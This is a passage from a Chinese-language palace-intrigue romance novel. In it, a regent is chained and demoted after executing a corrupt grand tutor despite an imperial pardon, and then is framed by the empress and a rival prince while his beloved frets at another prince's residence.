行刑暂缓，李策命人将王家全门送回大牢。 随后和其他几位监斩官用最快速度赶到皇宫，面见皇上。 从午门走到王府,花了一个多时辰。 唐兮暖没说一个字。 雪冰天雪地，靴子进了冰雪化成雪水。 在室外冻麻木了还没感觉，进屋一接触热意，两脚密密麻麻痛起来。 唐兮暖坐到床边，由芍药和白芷伺候着换衣服。 “嘶，好疼！” 白芷先给她一个汤婆子，看见她两脚冻出水泡，心疼道：“姑娘冒着这么大雪出去，瞧瞧，都冻坏了。” 她扯过被子给唐兮暖盖上,又将她两脚捂在怀里。 “王爷看见该心疼了。” 唐兮暖掀开被子喊小倩，“快进来。” 又吩咐站在门口的紫苏和连翘：“你们两个回去休息吧,有事我会叫你们。” 这才回应白芷,“我没事，不亲眼看着王太师一家受刑,我睡不踏实。” 白芷感叹道：“老天有眼，这一家子坏人终于遭到报应了。” 小倩气呼呼骂道：“老天哪有眼睛,根本没有行刑。” 白芷吓了一跳：“这是怎么回事，不是判了死刑吗，怎么还没砍头呢。” 小倩气愤道：“皇上醒了，专门派人阻拦,幸好王爷聪明，没管传旨将军，杀了王太师。” 唐兮暖和小倩从小长在侯府，没怎么接触过外界，不清楚外界事务，何况还涉及到朝堂。 白芷却忍不住担心。 “皇上醒了？王爷在有圣旨的情况下执意杀了王太师？” 小倩还在为王爷的霸道和干脆而感动。 “白芷姐姐，你是没看见王爷有多霸气，一剑杀了王太师和他两个儿子。” 白芷忧心忡忡地道：“王爷怕是要受罚。” 唐兮暖自从认识周川行，他一直都是手握生杀大权的“神”。 他想杀谁，从来没人敢置喙。 她也认为这是很正常的事。 此刻听了白芷的担心，完全颠覆她的认知。 “王爷会受罚？” 白芷点头：“王爷不尊圣旨，那就是藐视皇权，怎么说皇上才是君，王爷在他面前永远是臣。 皇上怪罪，处罚王爷只是一句话的事。” 唐兮暖担心极了。 “那皇上会怎么处罚他？” 白芷摇了摇头：“奴婢也不清楚。” 唐兮暖问道：“皇上很凶吗？他对二郎不好吗？他们不是一母同胞吗？” 白芷：“大家都说皇上是仁君，和王爷的关系肯定好的，王爷常年在外打仗，皇上每年都会赏赐很多东西。” 小倩：“既然皇上对王爷很好，又是仁君肯定不会责罚王爷的，毕竟太师那么坏，做了那么多坏事，就算是他岳父，也不能姑息养奸吧。” 白芷认为小倩所言有理，“小倩说的对，皇上肯定不会处罚王爷的。” 唐兮暖心思单纯。 决定逃出侯府的时候，都不曾失眠过。 可今天晚上，明明王太师已死，她大仇得报，可躺在床上还是失眠了。 “白芷，”黑暗里，她幽幽开口，“王爷回来了，不管什么时候都让他们过来说一声。” 白芷看出她是真担心了。 “唐姑娘，放心吧，王爷回来不管多晚都会过来看您的。” 唐兮暖默默叹了口气，希望二郎不要受罚，早点回来。 熬过寅时，还没见二郎过来，t小倩心疼道：“小姐，您还是早点睡吧，王爷肯定回来了，这么冷的天怕给你带过来冷气，明早您就能见到了。” 唐兮暖实在熬不住闭上了眼睛。 不过睡一个多时辰。 天边放亮，她从温暖的被窝爬起来，换上厚厚的衣服，赶到小勤政殿。 这次大雪整整下了一天两夜，凌晨才停。 管家已经带着太监侍卫将主路清扫干净。 唐兮暖一路赶到小勤政殿靴子上一片雪花都没落。 她哈着手进屋，询问门口的守卫：“王爷回来了吗？” 守卫如实回道：“没见王爷过来。” 唐兮暖吩咐百合，“你去王爷寝宫看看。” 百合接了命令快去快回，“唐姑娘，王爷不在，应该是没回来。” 周川行偶尔会夜宿皇宫，昨晚那么大的雪，皇上刚醒留他住下合情合理。 唐兮暖在心里不停地劝着自己。 怎么说二郎也是皇上的亲弟弟，就算偶尔犯错，也不至于有什么危险。 又过了半个时辰，周川行没回来，倒是见到了端王。 “唐姑娘，快点收拾东西跟我走。” 端王神色匆匆赶过来，行为举止极其不正常。 唐兮暖还是第一次看他这种表情，仿佛很慌张又没底气的样子。 她也不确定自己观察的对不对。 心里只有一个念头，“二郎呢？他出事了吗？” 端王勉强笑道：“没事，他能有什么事，是衍晴一个人在家，这么大的雪我不放心，把你接过去和她作个伴。 皇兄刚醒，二哥离不开，且这两天都不会回来，你留在府里也没趣，不如去我那里玩几天。” 端王的话，唐兮暖一个字都不信。 “你骗人，二郎肯定出事了。” “没有，真没有，”端王解释道，“就是皇兄让他汇报这一年多的朝政，二哥分身无暇，让我回来一趟把你安置好。” 唐兮暖还是不信，“我不走，我哪都不去，我就在王府等他。” 端王往外瞥了一眼，急道：“唐姑娘，你还是快点和我走吧，我和二哥约好，他出了皇宫会第一时间去我那里，你在这边等不到他。” 唐兮暖明白，端王是不会和她说实话的。 最终她吩咐小倩和黄芪简略收拾一下衣物，和端王离开了摄政王府。 端王只把唐兮暖送回王府简单交代几句便急匆匆离开了。 楚衍晴被停职。 六品户部员外郎她做的很好。 可皇上醒来，立刻有朝臣弹劾她女子误国，皇上便停了她的职。 好在她还是皇后赐婚的摄政王妃，皇上只停职没追究她别的罪责。 唐兮暖见到楚衍晴第一件事便是询问二郎的处境。 可惜楚衍晴只是一个六品官，根本没有机会接近皇上，更不知道宫里发生了什么事。 “我离开时，孙卿兆和姚麟等人都被叫进宫，皇上大概要追究摄政王任命的所有官员。” 擅杀太师，唐兮暖意料到皇上会生气，可她想不明白，为什么要追究二郎代天子令所处理的政事。 “表妹，如果皇上很生气很生气，会怎么处罚二郎？” 楚衍晴让她放心，“怎么说秦王也是皇上的亲弟弟，犯再大错也不会要他命就是了，最多罢官削爵关进王府，不许他随意出门。” 唐兮暖被表哥关了十几年，她深知其中滋味。 “二郎那么一个有抱负的人，怎么能关进一个小小的王府里。” 楚衍晴伸手抱了抱她，“表姐，放心吧，这是最坏的情况，除非秦王谋反，皇上才会如此处罚，擅杀太师是不对，可太师罪行累累，是他咎由自取，皇上想给皇后一个交代，顶多申斥一顿，面上不好看而已。” 如果只是面子的问题，唐兮暖还能接受。 早饭后，楚衍晴想起哥哥，“表姐，我大哥失踪三个多月了，母亲十分担心，嫂子前天还找过我，让我帮忙找找，你如果知道他在哪，还是告诉我吧。” 唐兮暖一拍脑门，“瞧我这记性，我怎么把这事忘了。” 楚衍诺被她关进地牢，之后忙着帮二郎判卷评分，之后太师被捕，她所有心思都在太师的案情上，还帮忙搜罗了不少证据，哪还记得地牢里的表哥。 “百合，你回王府一趟，把表哥放了吧，顺便看看王爷有没有回来。” 如今天寒地冻，地牢又阴又冷，冻坏表哥她不心疼，姑母难过她心里可就不好受了。 百合领命，踩着厚重的积雪赶回摄政王府。 大半个时辰，她慌里慌张回到端王府，跟唐兮暖汇报。 “唐姑娘，不好了，摄政王府被查封了。” 唐兮暖心口一紧，“这么严重？” 楚衍晴也是不敢相信，“怎么会，死个太师而已，他又是该死之人，皇上又不糊涂，怎么会查抄王府。” 百合没进去王府，看得不够真切。 “反正姚太傅和楚世子都被救走了。” 这两个人被带走，她是亲眼所见。 唐兮暖不由得后悔，姚太傅是被她扣押的，表哥也是被她骗进地牢的。 如今都要怪罪在二郎身上吗？ 早知如此，她就杀了姚太傅毁尸灭迹，早点放了表哥。 “表妹，现在怎么办？” 楚衍晴进不去宫，自然打探不到消息。 可有一个人身份不同。 “朝栎公主，她可是皇上的亲妹妹，摄政王出不来，端王又不肯说实话，只有朝栎能帮忙了。” “我去找公主，”唐兮暖起身就要走，楚衍晴急忙把人摁住，“王太师被杀，皇后肯定恨死唐家人了，你还是老老实实待在这里吧，我替你走一趟。” 唐兮暖哪里待得住，“我换男装和你一起去。” 楚衍晴还是不同意，“你以寒兮的身份骗走睿王五十万两银子，摄政王被责罚，睿王肯定没少出力，这个时候被他发现，小命还要不要。” 表妹分析的有道理，唐兮暖只能安分下来。 楚衍晴亲自去了一趟李府。 李策和公主都进宫了，李家人也不清楚怎么回事。 楚衍晴命她最信任的婢女留在李家，但凡有什么消息立刻回府禀报她。 第85章 时间回到皇上刚醒之时。 皇后跪在皇上榻旁,哭得泣不成声。 “皇上，你终于醒了……” 皇上昏睡将近两年，一时间还不适应清醒状态。 他反应片刻,伸手握住皇后，“甄儿，别哭。” 皇后扶着他慢慢坐起来,“皇上，你总算醒了，再不醒……” 她重新跪在皇上面前，“臣妾就活不了了。” 皇上皱眉，“你是皇后，怎么会活不了，告诉朕，谁难为你了？” 皇后做出隐忍不敢明言之状。 皇上刚醒，精力不济，也没有心情过多关注皇后之事。 反正她在自己身边,此刻并没有什么危险。 “川行呢，把川行叫过来。” 皇后忽然伏地痛哭,“皇上,求您救救臣妾一家吧，二爷将臣妾一家全都押赴刑场,想要灭我们一家满门，皇上,臣妾求求您了，念在朝阳的份上，给王家一条活路吧。” 皇上刚醒就被这么大一个消息震惊到，“王家犯了什么罪？” “欲加之罪何患无辞,皇上，我父亲这么多年为朝廷兢兢业业，没有功劳也有苦劳，他那么大年纪，您就给他一个善终吧，臣妾来生给您做牛做马也要报答。” 皇上脑子还不太清醒。 思路也不够清晰，“满门抄斩？” 皇后哭诉道：“父亲原本有一块免死金牌，可二爷不认，非要治臣妾一家死罪，就因为……就因为……” 不认免死金牌，确实是老二能做出来的事。 皇上不想听一面之词，“快点命人将老二、老三叫过来。” 皇后含泪出去分派差事。 大半个时辰回来告诉皇上，“皇上，二爷三爷说是政事繁忙，没时间过来。” 皇上皱眉：“你没告诉他，朕醒了吗？” 皇后朝身后的太监摆摆手，那小太监立刻赶到皇上面前回禀：“皇上，秦王和端王都说政事繁忙没时间进宫。 端王还说……” 皇上相信两个弟弟一向恭顺，但他醒了将近一个时辰还没见到人影，心里难免不舒服。 “他说什么？” 小太监哆哆嗦嗦地说道：“他说皇上根本不可能醒，没准哪天就……” 皇后厉声呵道：“如实说。” 小太监：“端王说没准哪天皇上驾鹤西去了，这皇位就是秦王的，端王还说让秦王把皇上挪出养心殿，秦王好早点继位。” 皇上气坏了，捂着胸口咳了半晌。 “这两个混蛋，怎么敢！” 他指着门口咬牙道：“你再去，让他们两个立刻滚过来见朕。” 小太监急急忙忙跑了。 皇上还没好利索，又生了一顿气，躺在床上好一会儿都没缓过来。 皇后极尽温柔安抚，“皇上，您别生t气，如果这点事就生气，那以后还有的气呢。” 皇上平复一会儿，道：“你去拿圣旨过来，朕派人去刑场。” 皇后将早准备好的空白圣旨交给皇上。 皇上咳嗽得厉害，手下无力，写不了字。 恰好睿王过来。 皇后急忙道：“快让老四帮忙写吧。” 皇上不喜欢这个同父异母的弟弟，总觉得他心机过分深沉。 “老四怎么来了？” 皇后温声细语解释道：“四弟倒是个有孝心的，每天这个时间都要过来看望皇上。” 睿王跪在地上喜极而泣，“皇兄，你总算醒了，臣弟……臣弟每日都要去祠堂祈祷皇兄醒过来，可怜见老祖宗保佑，皇兄终于醒了。” 皇上诧异道：“你每天都要为朕祈祷？” 睿王爬到皇上身边，哭诉道：“这都是臣弟的日常，只要皇兄能好，臣弟就是跪死在祠堂里也心甘情愿。” 兄弟情深，皇上有些后悔不该对四弟带有偏见。 “快起来，老四不愧是朕的好兄弟。” 睿王执笔很快按照皇上的意思将圣旨写好，命殿前指挥使刘将军携圣旨尽快赶往刑场，阻止行刑。 “皇后，现在你该放心了吧，刘将军一去，你父亲必然不会有事。” 皇后确实松了一口气。 “臣妾谢皇上隆恩，我王氏一门必定肝脑涂地报答皇上。” 皇上身体还没恢复，精力不济，久不见二弟三弟回来，心里气恼，有些昏昏欲睡。 “你们先退下，朕再休息一会儿。” 大半个时辰后，皇上再次清醒，他挣扎着起来。 因为卧床太久，两腿都不怎么听使唤，努力半晌都没迈出一步。 有些负气般坐在床边。 使劲锤着自己的腿，愤恨地骂道：“让你不争气，让你不争气……” 皇后一直在殿外伺候，听到声音急忙赶进来。 “皇上，您想做什么，臣妾帮您。” 皇上眼巴巴的盯着门口，“老二老三还没回来吗？” 皇后提着小心摇了摇头。 皇上叹了口气：“朝栎呢？怎么朝栎也不见人？” 皇上迟疑着回：“朝栎出嫁了。” 皇上一惊：“驸马是谁家的公子？” 皇后：“是大理寺卿李策的长子。” 皇上心里不喜，李策当然是好的，可李家门第太低，他儿子年轻，最多能做个侍郎。 他就这一个妹妹，怎么可能舍得。 “你定的？” 皇后扮出十分心疼朝栎的神色，道：“臣妾但凡能做主，怎么会让朝栎嫁进李家，王孙公子那么多世家子弟，哪个不比李家的公子好。 这事是二爷定的，连三爷都不知道，因为这事，三爷还和二爷吵了一顿。 拗不过二爷，到底把朝栎嫁过去了。 公主府都没好好修建，让朝栎住进李家，说是方便伺候公婆。 李策那人是好伺候的吗！ 公主出嫁那天伤心得直哭，拉着臣妾的手让臣妾给她做主，她不想嫁……” “老二糊涂啊！”皇上心疼妹妹，气得两手直抖，“他这是怎么了，原来看他办事还算利索……” 皇上吩咐睿王：“老四，你去把这一年所有重要的政事全拿过来，朕要看看他都做了什么。” 半个时辰后，周川行、端王和殿前指挥使先后回到养心殿。 周川行赶到门口，将外套脱了扔给太监，只穿常服进殿。 “皇兄，”他看见皇上坐在床上，激动的双眼发红，“你终于醒了。” 到底是一母同胞的亲兄弟，皇上看见他也是两眼发红，向他伸手，“老二，你可回来了。” 周川行担心身上凉，冰到皇上，距离皇上一步远的时候停住脚步。 “皇上，臣弟来迟了。” 他声音哽咽，仿佛失而复得一般，盯着皇上连眼睛都舍不得眨。 “臣弟……” 皇上一样哽咽，指向旁边的火盆，“过来热乎热乎，”又看向他身后的端王，“老三，你也过来热乎热乎。” “太医，”周川行关心皇上的身体，命令太监把太医找过来。 皇上摆摆手，“已经看过了，没有大碍，不用担心。” 周川行目光威严地扫向皇后。 杨太医研制出救治皇上的药物，虽然能让皇上像正常人一样生活，可只有三五个月生命。 周川行和端王、朝栎一起研究过，打算等过了年，春暖花开再给皇上服用。 天气好些，没准皇上能多熬一段时间。 今天皇上能醒，肯定是皇后自作主张给皇上服用了。 如此寒冷的天气，他着实担心皇上熬不过去。 皇后忐忑不安地后退一步。 皇上自然注意到两人的神情，心有不悦，二弟也太放肆了些，当着他的面就给皇后脸色。 “太师一家可曾放了？” 周川行闭口不言。 端王低着头不敢吭声。 刘将军忽然赶到皇上面前扑通一声跪下去。 “皇上恕罪，太师……没救下来。” “你说什么？”皇后浑身颤栗，“你说我父亲他……” 刘将军自责道：“微臣有罪，太师没救下来，娘娘节哀。” 皇后听说父亲被杀，眼前一黑很快晕了过去。 接下来养心殿一阵兵荒马乱，皇后在太医的救治下清醒过来。 她伏地痛哭请皇上做主。 “皇上今天不给臣妾做主，臣妾就撞死在养心殿门口，反正臣妾一家都被秦王杀了。” 皇上生气了，盯着刘将军问：“你去晚了？没赶上？” 刘将军一时不知道怎么回答，他小心翼翼看向周川行。 皇上越发生气：“你看他干什么，给朕直说！” 刘将军能怎么办，直言道：“微臣去的正好，是秦王下手杀了太师及他两个儿子，一剑封喉。” 皇上这次是真生气了。 “老二你……” 他忽然气喘不止，周川行赶过去帮他顺气，皇上满心气恼的推开他，“还不如让朕一直昏迷着，你真是…… 让朕同痛心。” 到底是亲兄弟，就算到了此刻，皇上还抱有一丝希望，“你跟皇兄说，刘将军没来得及宣读圣旨？” 周川行在皇上面前没撒过谎，“读了。” 皇上忽然使劲给他一巴掌。 “你个混账，连朕的圣旨都不好使了是吧？ 你翅膀硬了，不需要朕这个皇兄了，干脆，你一刀捅了我，自己做皇上。” 这是皇上第一次对周川行骂这么重的话。 周川行怎么担当得起，他慌忙跪地请罪。 “皇兄，都是臣弟的错，臣弟的错，请皇兄责罚。” 端王也急忙跪过去，求情，“皇兄，实在是太师一党结党营私，贪污受贿，卖官鬻爵……罪行累累，不可饶恕，二哥也是心急了，想给百姓一个交代。 千不该万不该，当场斩杀。 还求皇兄念在他这两年兢兢业业的份上，原谅他这一次。” 皇上当然知道太师霸道、嚣张、狂妄，十数年间，没少犯罪。 如果不是他身体不好，早惩治太师一党了。 他不气二弟判刑，气得是二弟在听到诏令还动手杀人。 “滚外边赎罪去。” 看似严厉的惩罚，其实也就是小孩子犯错，大人给一巴掌。 毫无伤害。 没办法，二弟十三岁上阵杀敌，为保住他的江山几次遇险。 就当这些年他疏于管教，付出的代价。 皇后和睿王怎么可能看不出来。 睿王当然不能这么轻易放过周川行。 “二哥，你竟公然违抗圣旨，这是不把皇兄放在眼里。皇兄……” 睿王赶到皇上面前，痛心疾首的跪下，“臣弟实在看不下去二哥的所作所为，他为一己私欲，斩了左丞相满门。” 左丞相被满门抄斩？ 皇上使劲拍着胸脯，不气，不气，亲弟弟，亲弟弟。 睿王：“他还罢黜右相，并强逼右相捐出全部家底。” 皇上继续锤胸口，罢黜右相而已，小事，小事，和他公然违抗圣旨相比，不值一提。 睿王：“甚至直接将姚太傅关进私牢，审都没审，也不知道姚太傅犯了什么罪，他如此藐视朝廷法度。” 姚太傅可是皇上的师父。 皇上几乎撑不住。 不过二弟十三岁离家，这么多年没人教导，偶而做出什么悖逆之事也情有可原。 睿王眼见着皇上的承受能力越来越高，早有准备，继续告状，“这一年多，朝堂被他杀的空了一大半，现在提拔上来的全都是什么都不懂的废物。 一个毫无才学的叫花子，就因为合他的眼缘，他直接封了四品侍郎。 照此下去，大周朝可就要万劫不复了。” 他一口气连告周川行三十五条罪状。 “对了，他还公然养男宠，现在就在他府里。” 都学会养男宠了，可真是他的好弟弟。 兄弟三人，除他有一个女儿，两个弟弟没一个有后，竟t然把精力浪费在男宠身上。 皇上再偏袒，也已经忍无可忍。 “来人，去摄政王府把他那个什么男宠和姚太傅带过来。” 周川行担心小姑娘，急忙给端王使眼色。 端王有什么不明白的，“皇兄，我出去一趟。” 两个不孝的弟弟，皇上怎么可能让他走，“你干什么去！” 端王：“王妃自己在家，这么大的雪，我怕她害怕，回去看看。” 皇上终于感受到一丝欣慰。 三弟还知道娶个王妃。 “滚吧——”—— 作者有话说：睿王：二哥犯下三十五条大罪！ 皇上：朕能忍。 睿王：他还养男宠！ 皇上：抓紧给我抄府。 第86章 皇上命人去王府抓男宠,自然是没抓到的。 不过在地牢里找到了姚太傅，还发现了楚衍诺。 两人被关三个多月，胡子拉碴浑身发臭,全都不是好味。 刘将军让两个人清理干净才带进宫。 姚太傅一口咬定寒兮仗摄政王的势，无恶不作，求皇上做主。 他可是皇上的先生,皇上怎么可能不生气。 楚衍诺肯定不会供出表妹，他只管往周川行身上赖。 求皇上给他做主。 皇上感念武安侯对周家的恩情，又见楚衍诺面黄肌瘦，形销骨立，充满怜悯。 “好了，你们两个回家吧。” 楚衍诺还有冤屈要诉：“微臣弹劾摄政王囚禁微臣的傻妹妹，还请皇上做主，让摄政王放了微臣的表妹。” 震惊一波接着一波，皇上已经逐渐平静。 “什么傻妹妹？” 楚衍诺：“就是我舅父的女儿，当年唐家被满门抄斩,只留下她一个傻子，是我们楚家抚养长大的。” 他忽然指向周川行,“就是他禽兽不如,抓了表妹威胁我们侯府为他卖命，可怜我表妹一个傻姑娘什么都不懂,整日被他虐待……” 楚衍诺痛哭流涕，伤心欲绝。 好像周川行真做了什么对不起他的事。 连端王都看不下去了,想要为二哥辩解，却收到二哥一个制止的神色，不情不愿闭上嘴。 养男宠，囚禁傻子。 皇上冷眼睨着周川行,“你可真是我的好弟弟！” 不管怎么说两人都是一母同胞的亲兄弟。 他对周川行有教育责任。 可怜弟弟这些年一直在外领兵打仗，没正经接受过教育，偶尔犯错也情有可原。 罢了，罢了。 周川行犯下这么多大逆不道的罪行，换到谁身上都是杀头重罪。 可皇上自己就把自己劝好了。 太师该死！ 养个男宠，不是什么大事！ 囚禁傻子…… 有些禽兽，谁让他是自己亲弟弟。 “行了，朕乏了，你们都下去吧。” 皇后早知道皇上不会处置周川行。 幸亏她还准备了后手。 “皇上……” 她跪爬到皇上面前，哭诉道：“还求您给贤妃妹妹做主。” 贤妃是右丞相的孙女，温柔端庄、聪慧敏秀，是皇上最宠爱的女子。 往事不断浮上脑海，温柔乡里沉浸三年，皇上光想想，都觉得心口柔软。 他病这两年，贤妃肯定急坏了。 此刻听皇后话里的意思，贤妃好像出事了。 血液逆流，“她怎么了？” 皇后断断续续哭诉道：“秦王禽兽不如，想要霸占贤妃妹妹，贤妃妹妹不愿意，他就……他就把人杀死了……” 什么罪周川行都能认，秽乱宫闱，周川行肯定不认。 “皇嫂慎言，我连贤妃的面都没见过，怎么会和她有私情。” 皇后恨不得食肉寝皮，咬牙道：“我有证据。” 她朝外殿外摆手，很快两位美人哭着跑进来。 “皇上，求您为臣妾做主，秦王趁我们姐妹熟睡，将我们两个……” 两位美人都是皇上宠幸过的，此刻都哭得痛不欲生，几乎断气。 “王爷拿臣妾家人威胁，臣妾不依，他就要杀了臣妾的家人，这半年，他不时住在臣妾那里，还说皇上……皇上醒不过来了，不能让臣妾空了，他会代替皇上……宠幸我们。” “皇上，臣妾也是被他威胁，臣妾有证据，这是他的腰带，欺辱完臣妾落在臣妾那里的。” …… 两位美人诬告完周川行，右丞相带着夫人赶来告状。 丞相夫人抱着贤妃的牌位，丞相呈上女儿求救的密信，直指周川行。 皇上什么都能忍，绿帽子不能忍。 还是他最宠爱的女人。 竟然被自己的禽兽弟弟害死。 “来人，给这个畜生上锁链。 收回摄政王玺印，剥夺一切亲王待遇……” 周川行被打了一个措手不及。 擅杀太师，封花子官职这些都是他所为。 关押太傅和楚世子，虽然不是他亲手所为，可他也是知情并默许的。 只有侮辱贤妃和两位美人和他没关系。 皇后和睿王联合，半真半假，皇上卧床两年，哪里分得清楚。 周川行心明镜似的，这会强行解释只会触怒皇兄，干脆闭嘴不言。 念着一母同胞的份上，皇上总不能杀他就是。 周川行不急，可急坏了端王。 “皇兄，我二哥向来不近女色，怎么可能和妃嫔有染，这些都是他们诬陷我二哥的，皇兄，您莫要被他们骗了。 这两年，我二哥兢兢业业，不曾睡过一次整宿觉……” “放肆，”皇上越来越气，指着端王怒其不争，“再胡说八道，朕连你一起惩罚。” 端王不怕惩罚，“皇上……” 收到周川行眼神提示，既不甘又恼怒地闭上嘴。 周川行很快被侍卫绑上铁链。 皇上气息不畅，噩耗一个接一个，他又刚醒，体力耗损太大，实在撑不下去。 捂着胸口喘了半晌，才指着周川行骂道：“你给朕滚去门口跪着，你个畜生。” 随后吩咐睿王：“从今天开始，你代替秦王摄政，好了，都退下吧。” 他缓缓倒在床上，心力交瘁，很快睡了过去。 “众位王爷，大人，皇上需要休息了。”皇上的贴身大太监喜公公开始赶人。 睿王和皇后谋算成功，互相对视一眼，先后退出养心殿。 右丞相和他夫人以及其她侍卫宫女也相继退出。 端王不甘心，说什么都不肯走。 甚至还想叫醒皇上，帮二哥解释清楚。 喜公公及时劝住他：“三殿下，皇上刚醒，不宜过劳，您有什么事还是等明天再说吧。” 端王不放心。 喜公公翘着兰花指，指指头顶，“皇上身体好了，这天啊，塌不了，什么事不是一朝一夕就能定的，三殿下，这来日方长。” 端王观察了一下皇上的情况，确实不适合处理政事。 “那我去外边守着。” 此刻周川行跪在门口。 冰天雪地天气十分寒冷，普通人站一会儿都能冻成冰雕。 好在他身体底子好，尚能忍受这种寒冷。 端王心疼二哥，将狐皮大衣给他披上。 “睿王这个小人，竟然趁我们不备，设计这么多，看我不宰了他。” 周川行两手戴着精钢打造的链子跪在雪地里。 脑子里倒是清醒的。 “慎言。” 端王气道：“你辛苦这么久，好不容易稳定下来的局势眼看着被他摘桃子，你真甘心？” 周川行没什么不甘心的。 “每天坐在那个位置上，战战兢兢，倒不如让给别人。 等皇兄气消了放我回去，我就能……”和小姑娘做一对不被俗世烦扰的神仙眷侣。 以前，他做梦都不敢梦这种好日子。 端王知道他要说什么，“可睿王他不是合适人选，大周朝不知道要被他祸害成什么样。” 这话戳到周川行心口。 “你有时间跟我说这些，不如多费心盯着些。” 端王哪有心思，“我看他就生气。” 周川行叹了口气，“小姑娘你安顿好了吗？别让她落在睿王和皇后手里，楚世子也警惕着点。” 端王赌气道：“知道了。” 周川行提醒：“把今天发生所有事跟弟妹聊聊。” 端王嘴上答应着，可他不想让楚衍晴跟着担心，回去只字没提。 所以唐兮暖和楚衍晴都不知道宫里发生了什么。 直到朝栎公主第三天从宫里返回李家，听说三嫂来过，亲自赶到端王府，唐兮暖和楚衍晴才听说宫里的事情。 “二郎有没有危险？”唐兮暖抓着朝栎，这几天急得她嘴唇都起血泡了。 她昨天拿着周川行送她的腰牌打算混进皇宫找人。 皇上停掉周川行亲王待遇，守卫连他的腰牌都不认了。 这么冷的天，她在宫门口逗留一个多时辰，还是被楚衍晴拉回去的。 朝栎让她放心，“我二哥只被罚跪两三个时辰，取消亲王待遇，现在在养心殿当值，没受别的惩罚。” 唐兮暖担心朝栎骗她，“你说真的吗？那二郎怎么不回来？” 朝栎也是一肚子气：“皇兄还在生气，哪里会t轻易饶恕二哥，他擅杀太师，被皇后记恨上了，皇后联合四哥各种捏造虚假证据冤枉二哥，只怕没那么容易过去。” 接下来，朝栎把宫里发生所有事一字不落的说给唐兮暖和楚衍晴。 听说周川行戴上锁链，唐兮暖又内疚又心疼，“都是我不好，非要太师死，他是为了我才违抗圣旨杀死太师的。” 朝栎安抚道：“这事不怪你，就算没有这事，他们也会拿别的事情陷害二哥，皇兄本也没因为这事处罚二哥，是皇后诬赖二哥染指嫔妃，皇兄这才发怒。” “现在怎么办？”唐兮暖担心皇后秋后算账，“皇上什么时候能放二郎回来？睿王那么坏，他肯定会想办法再害二郎的，二郎没有了爵位，怎么和他抗衡。” 楚衍晴纠正道：“秦王只是没了亲王待遇，不是没了爵位，他还是王爷。” 唐兮暖纳闷道：“有什么说法？” 楚衍晴：“皇上生气归生气，还不至于要秦王死。如今皇后和睿王沆瀣一气，皇上那么圣明，不可能看不出来。” 朝栎不认同楚衍晴的想法，“可是皇兄已经让睿王摄政了。” 楚衍晴还是觉得皇上没有放弃周川行。 “我们都别急，先看看情况。” 唐兮暖一刻都等不了，“我要出去一趟。” 楚衍晴急忙拉住她，“表姐，外边这么冷，你干什么去？睿王恨死你了，他肯定不会放过你的。” 唐兮暖打算去一趟军器局。 刘大使正在制造红衣大炮。 前段时间拉出去实验，她亲眼见过，转眼间就炸平一座小山。 只要使用得当，炸平皇宫也是有可能的。 反正她是不会让二郎留在宫里一直受罪。 第87章 楚衍诺和朝栎都担心唐兮暖,说什么都不肯让她出去。 “表姐，如今情况未明，我们千万不能自乱阵脚。 秦王久经沙场,什么场面没经历过，这种小场面，我们该相信他。 万一我们冒然行动,搅乱他的计划，反倒不美。” 朝栎也是这个意思，“我们兄妹几个，皇兄最仁厚，念在一母同胞的份上，他也不会要二哥的命。 只要有命在，总有翻身的时候。 三哥最憨厚，这些年，我们两个能平安活下来，已经用了他全部力气。 只有二哥最聪明,又是文武全才，关键时刻,他最能镇得住局面。 我相信,他一定有办法自保。 唐姑娘，你千万稳住,二哥最在乎你了，如果你出了什么事,他就算全身而退也会乱了阵脚，那时只会令亲者痛，仇者快。” 唐兮暖不是听不进去劝。 她只是太担心了。 “好，我不出去。” 可她不能坐以待毙,“连翘，你帮我把孙卿兆找过来，他肯定有办法。” 孙卿兆确实很聪明，昨天皇上召见，他一个花子出身的人不光保全住自己，还保住了官职。 这话正好被刚刚回来的端王听见，他愤恨不已的骂道：“找他做什么，这个卑鄙小人，竟然借机参奏二哥一本。 唐姑娘，我劝你和他尽快断绝来往。 否则这个疯子为了官职早晚会咬你一口。” 朝栎担心二哥，“他告二哥什么？二哥没事吧？” 端王绷着脸色：“那倒是没事，我就是生气，如今二哥被陷害，他们谁借机都想踩一脚。 老四更混，将二哥提拔上来的人全都停了职。 有的还下了大狱。 右丞相和姚太傅官复原职。 对了，他那个狗屁舅舅，竟然直接封为户部尚书，干脆把户部搬他们家好了。” 朝栎越发担心，“如今宫里有德太妃和皇后，宫外有丞相、太傅和尚书，四哥这皇位越发稳了。” 唐兮暖和普通人不一样，端王说了这么多好像都没触动到她心底。 虽有犹豫，还是说道：“唐姑娘，唐家平反案被老四否了，说是李策是唐御史故交，两人有私。 太师一家是误判。 二哥擅杀王太师，要他以命抵命。” 蒙冤十四年，全家惨死。 好不容易盼到恢复清誉，竟然被睿王阻止。 还要二郎偿命。 唐兮暖浑身发抖，她咬紧牙关，双眼露出嗜血一般的红色。 好好好，她的仇人又多一个睿王。 敢要二郎死，先送他全家去见老天爷。 …… 屋里氛围实在太过紧张，连翘担心道：“那还叫不叫孙卿兆？” 唐兮暖仿佛灵魂归位一般，忽然清醒：“叫啊，你快去。” 端王欲言又止，如果唐兮暖不是二哥最在在乎的人，他肯定忍不住生气发火从而迁怒。 楚衍晴扶着他坐下。 “王爷，孙卿兆弹劾二哥什么你知道吗？” 端王这两天忙的脚不沾地，哪里知道孙卿兆弹劾什么。 越想越气，“等一会儿他来了，我非劈死他。” 楚衍晴皱眉：“你总你这么易怒，不好好想办法，劈了他能救出二哥？” 端王确实想不到办法。 “皇后和右相联合，诬赖二哥害死贤妃，贤妃可是皇兄最喜欢的女人，皇兄根本不听我们解释，二哥有苦难言，能有什么办法。” 楚衍晴分析道：“贤妃被人害死是肯定的，可被谁害死的，这里面可大有文章。” 端王急道：“有什么文章？你想到了什么？” 楚衍晴：“我记得太师一开始是被左丞相牵连的，他还曾派杀手杀左丞相灭口，他们原本是一伙的。 而姚太傅、右丞相都是睿王的人。 这两方这些年没少产生龃龉。 都视对方为仇人，现在怎么会绑在一起对付二哥呢？” 端王也在奇怪，“就是说，皇后为什么和睿王联合了？” 朝栎很容易想到：“肯定是四哥许了皇后什么好处。” 楚衍晴点头：“朝栎说的对，皇上生病后，我听说很多妃嫔莫名失踪死亡，这贤妃多半是皇后害死的。 可贤妃的家人右丞相却和皇后联合了，这可是生死大仇。” 端王都被楚衍晴分析头疼了，“难怪二哥让我把宫里发生的事都告诉你，你快说，现在我们怎么办？” 楚衍晴毕竟是闺阁女子，不懂朝政。 虽然入朝为官一段时间，不过只是一个户部六品员外郎。 